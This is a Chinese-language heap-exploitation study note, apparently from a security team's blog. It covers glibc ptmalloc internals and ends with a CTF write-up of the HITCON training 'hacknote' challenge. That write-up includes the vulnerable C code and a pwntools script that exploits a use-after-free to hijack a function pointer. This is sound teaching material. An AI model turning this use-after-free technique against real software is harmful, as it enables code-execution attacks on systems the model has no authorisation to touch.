pwn-堆学习笔记 – 作者:ATL安全团队

学习材料:

CTF-WIKI:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/

ctf-all-in-one:https://firmianay.gitbook.io/ctf-all-in-one/3_topics/pwn/3.1.6_heap_exploit_1

Blog: https://noonegroup.xyz/categories/bin/pwn/堆/linux堆/

Angr学习: https://noonegroup.xyz/posts/4c8e6fd4/

堆概述

什么是堆?

堆其实就是程序虚拟地址空间的一块连续的线性区域,它由低地址向高地址方向增长。一般称管理堆的那部分程序为堆管理器。

需要注意的是,在内存分配与使用的过程中,Linux 有这样的一个基本内存管理思想,只有当真正访问一个地址的时候,系统才会建立虚拟页面与物理页面的映射关系。 所以虽然操作系统已经给程序分配了很大的一块内存,但是这块内存其实只是虚拟内存。只有当用户使用到相应的内存时,系统才会真正分配物理页面给用户使用。

堆是可以根据运行时的需要进行动态分配和释放的内存,大小可变。

常见堆的实现

dlmalloc  – General purpose allocator
ptmalloc2 – glibc
– 基于dlmalloc fork出来,在2006年增加了多线程支持。
jemalloc  – FreeBSD and Firefox
tcmalloc  – Google
libumem   – Solaris

PWN的题目大多以glibc形式出现。

堆的基本操作

  • 基本的堆操作,包括堆的分配,回收,堆分配背后的系统调用

  • 介绍堆目前的多线程支持。

malloc

  • 当 n=0 时,返回当前系统允许的堆的最小内存块。

  • 当 n 为负数时,由于在大多数系统上,size_t 是无符号数(这一点非常重要),所以程序就会申请很大的内存空间,但通常来说都会失败,因为系统没有那么多的内存可以分配。

free

  • 当 p 为空指针时,函数不执行任何操作。

  • 当 p 已经被释放之后,再次释放会出现乱七八糟的效果,这其实就是 double free

  • 除了被禁用 (mallopt) 的情况下,当释放很大的内存空间时,程序会将这些内存空间还给系统,以便于减小程序所使用的内存空间。

内存分配背后的系统调用(ptmalloc为例)

无论是 malloc 函数还是 free 函数,我们动态申请和释放内存时,都经常会使用,但是它们并不是真正与系统交互的函数。这些函数背后的系统调用主要是 (s)brk函数以及 mmap, munmap函数。

学习了brk和mmap的两个例子

ptmalloc2多线程支持

  • 虽然程序可能只是向操作系统申请很小的内存,但是为了方便,操作系统会把很大的内存分配给程序。这样的话,就避免了多次内核态与用户态的切换,提高了程序的效率。

glibc的堆管理实现

  • arena

    • 指的是内存区域本身,并非结构

    • 主线程的main arena通过sbrk创建

    • 其他现场arena通过mmap创建

  • malloc_state

    • 管理arena的核心结构,包含堆堆状态信息、bins链表等

    • main arena对应的malloc_state结构存储在glibc的全局变量中

    • 其他线程arena对应的malloc_state存储在arena本身当中

  • bins

    • bins用来管理空闲内存块,通常使用链表结构来进行组织

  • chunks

    • 内存块的结构

以下介绍的堆管理环境为glibc2.26以下(不含2.26),即出现tcache之前的堆管理方式

以下演示的环境均是64位程序及操作系统。

与堆相关的数据结构

malloc_state

  • 该结构用于管理堆,记录每个 arena 当前申请的内存的具体状态,比如说是否有空闲 chunk,有什么大小的空闲 chunk 等等。无论是 thread arena 还是 main arena,它们都只有一个 malloc state 结构。由于 thread 的 arena 可能有多个,malloc state 结构会在最新申请的 arena 中。

  • malloc_state存储了arena的状态,其中包含了用于管理空闲块的bins链表。

其结构如下,对应字段说明已在注释中给出:

struct malloc_state {
/* Serialize access.  */
/* 该变量用于控制程序串行访问同一个分配区,当一个线程获取了分配区之后,
其它线程要想访问该分配区,就必须等待该线程分配完成后才能够使用。*/
__libc_lock_define(, mutex);

/* Flags (formerly in max_fast).  */
/* flags 记录了分配区的一些标志,比如 bit0 记录了分配区是否有 fast bin chunk,
bit1 标识分配区是否能返回连续的虚拟地址空间。具体如下 */
int flags;

/* Fastbins */
/* 存放每个 fast chunk 链表头部的指针 */
mfastbinptr fastbinsY[ NFASTBINS ];

/* Base of the topmost chunk — not otherwise kept in a bin */
/* 指向分配区的 top chunk */
mchunkptr top;

/* The remainder from the most recent split of a small request */
/* 最新的 chunk 分割之后剩下的那部分 */
mchunkptr last_remainder;

/* Normal bins packed as described above */
/* 用于存储 unstored bin,small bins 和 large bins 的 chunk 链表 */
mchunkptr bins[ NBINS * 2 – 2 ];

/* Bitmap of bins, help to speed up the process of determinating if a given bin is definitely empty.*/
/* ptmalloc 用一个 bit 来标识某一个 bin 中是否包含空闲 chunk  */
unsigned int binmap[ BINMAPSIZE ];

/* Linked list, points to the next arena */
struct malloc_state *next;

/* Linked list for free arenas.  Access to this field is serialized
by free_list_lock in arena.c.  */
struct malloc_state *next_free;

/* Number of threads attached to this arena.  0 if the arena is on
the free list.  Access to this field is serialized by
free_list_lock in arena.c.  */
INTERNAL_SIZE_T attached_threads;

/* Memory allocated from the system in this arena.  */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};

static struct malloc_state main_arena; /* global variable in libc.so */
/*main arena 的 malloc_state 并不是 heap segment 的一部分,而是一个全局变量,存储在 libc.so 的数据段。*/

main arena概览

图片[1]-pwn-堆学习笔记 – 作者:ATL安全团队-安全小百科

malloc_chunk

在程序的执行过程中,我们称由 malloc 申请的内存为 chunk 。这块内存在 ptmalloc 内部用 malloc_chunk 结构体来表示。当程序申请的 chunk 被 free 后,会被加入到相应的空闲管理列表中。

非常有意思的是,无论一个 chunk 的大小如何,处于分配状态还是释放状态,它们都使用一个统一的结构。虽然它们使用了同一个数据结构,但是根据是否被释放,它们的表现形式会有所不同。

malloc_chunk 的结构如下

malloc()的工作流程

  1. 如果size < max fast,在fast bins中寻找fast chunk,如找到则结束

  2. 如果size in_smallbin_range,在small bins中寻找small chunk,如找到则结束

  3. 如果size not in_smallbin_range,合并所有fastbin的chunk

  4. 循环

    a. 检查unsorted bin中的last_remainder

    i. 如果满足一定条件,则分裂之,将剩余的chunk标记为新的last_remainder

    b. 在unsorted bin 中搜索,同时进行整理

    i. 如遇到精确大小,则返回,否则就把当前chunk整理到 small/large bin 中去

    c. 在small bin和large bin中搜索最合适的chunk(不一定是精确大小)

  5. 使用 top chunk

free()的工作流程

  1. 如果size < max fast,放入fast bin,结束

  2. 如果前一个chunk是free的

    a. unlink前面的chunk

    b. 合并两个chunk,并放入unsorted bin

  3. 如果后一个chunk是top chunk,则将当前chunk并入top chunk

  4. 如果后一个chunk时free的

    a. unlink后面的chunk

    b. 合并两个chunk,并放入unsorted bin

  5. 前后chunk都不是free的,放入unsorted bins

Use After Free

简称UAF,简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。

  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转

  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

而我们一般所指的 Use After Free漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

HITCON-training-lab 10-hacknote

题目分析

首先从程序的 menu 函数入手,其中有如下功能

puts(” 1. Add note          “);
puts(” 2. Delete note       “);
puts(” 3. Print note        “);
puts(” 4. Exit              “);

1. Add note,该功能代码如下,我们主要关注malloc,首先malloc了一个结构体大小的堆空间,然后又malloc了一个自定义大小的内存空间。

void add_note(){
int i ;
char buf[8];
int size ;
if(count > 5){
puts(“Full”);
return ;
}
for(i = 0 ; i < 5 ; i ++){
if(!notelist[i]){
notelist[i] = (struct note*)malloc(sizeof(struct note));
if(!notelist[i]){
puts(“Alloca Error”);
exit(-1);
}
notelist[i]->printnote = print_note_content;
printf(“Note size :”);
read(0,buf,8);
size = atoi(buf);
notelist[i]->content = (char *)malloc(size);
if(!notelist[i]->content){
puts(“Alloca Error”);
exit(-1);
}
printf(“Content :”);
read(0,notelist[i]->content,size);
puts(“Success !”);
count++;
break;
}
}
}

我们需要注意这其中note结构体,printnote是个函数指针。

+—————–+                       
|   printnote     |                       
+—————–+                       
|   content       |       size              
+—————–+——————->+—————-+
|     real       |
|    content     |
|                |
+—————-+

2.delete_note 会根据给定的索引来释放对应的 note。但是值得注意的是,在 删除的时候,只是单纯进行了 free,而没有设置为 NULL,那么显然,这里是存在 Use After Free 的情况的。

动态调试

首先通过delete_note我们发现,UAF是存在的,那么我们分析程序后,注意到里边还有一个magic这个后门函数,那我们有什么办法才能使得这个magic函数执行呢?一个很直接的想法是修改 note 的 put 字段为 magic 函数的地址,从而实现在执行 print note 的时候执行 magic 函数。

首先我们,申请 note0,real content size 为 32;申请 note1,real content size 为 32。

addnote(32,”ddaa”)    // 0x8761008   0x8761018
addnote(32,”ddaa”)    // 0x8761040   0x8761050

图片[2]-pwn-堆学习笔记 – 作者:ATL安全团队-安全小百科然后我们释放 note0,释放 note1

delnote(0)
delnote(1)

图片[3]-pwn-堆学习笔记 – 作者:ATL安全团队-安全小百科

此时,大小为 16的 fast bin chunk 中链表为 note1->note0,申请 note2,并且设置 real content 的大小为 8。

那么根据堆的分配规则,note2 其实会分配 note1 对应的内存块,如下图地址0x08761040处;

real content 对应的 chunk 其实是 note0,如下图地址0x08761008处。

然后,如下图地址0x08761008(note2 real content),我们向该 chunk 部分写入 magic 的地址,那么由于我们在释放内存后没有将 note0 置为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 后门函数,输出flag。

addnote(8,p32(magic))

图片[4]-pwn-堆学习笔记 – 作者:ATL安全团队-安全小百科

解题脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

r = remote(“localhost”, 10001)

def addnote(size,content):
r.recvuntil(“:”)
r.sendline(“1”)
r.recvuntil(“:”)
r.sendline(str(size))
r.recvuntil(“:”)
r.sendline(content)

def delnote(idx):
r.recvuntil(“:”)
r.sendline(“2”)
r.recvuntil(“:”)
r.sendline(str(idx))

def printnote(idx):
r.recvuntil(“:”)
r.sendline(“3”)
r.recvuntil(“:”)
r.sendline(str(idx))

magic = 0x08048986

addnote(32,”ddaa”)
addnote(32,”ddaa”)

delnote(0)
delnote(1)
addnote(8,p32(magic))
printnote(0)
r.interactive()

输出结果如下:

图片[5]-pwn-堆学习笔记 – 作者:ATL安全团队-安全小百科

fastbin attack

未完待续…

参考链接

PWN公开课视频:https://www.bilibili.com/video/BV14i4y1V7rw?from=search&seid=3291996234559772052

来源:freebuf.com 2020-12-16 13:38:06 by: ATL安全团队

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论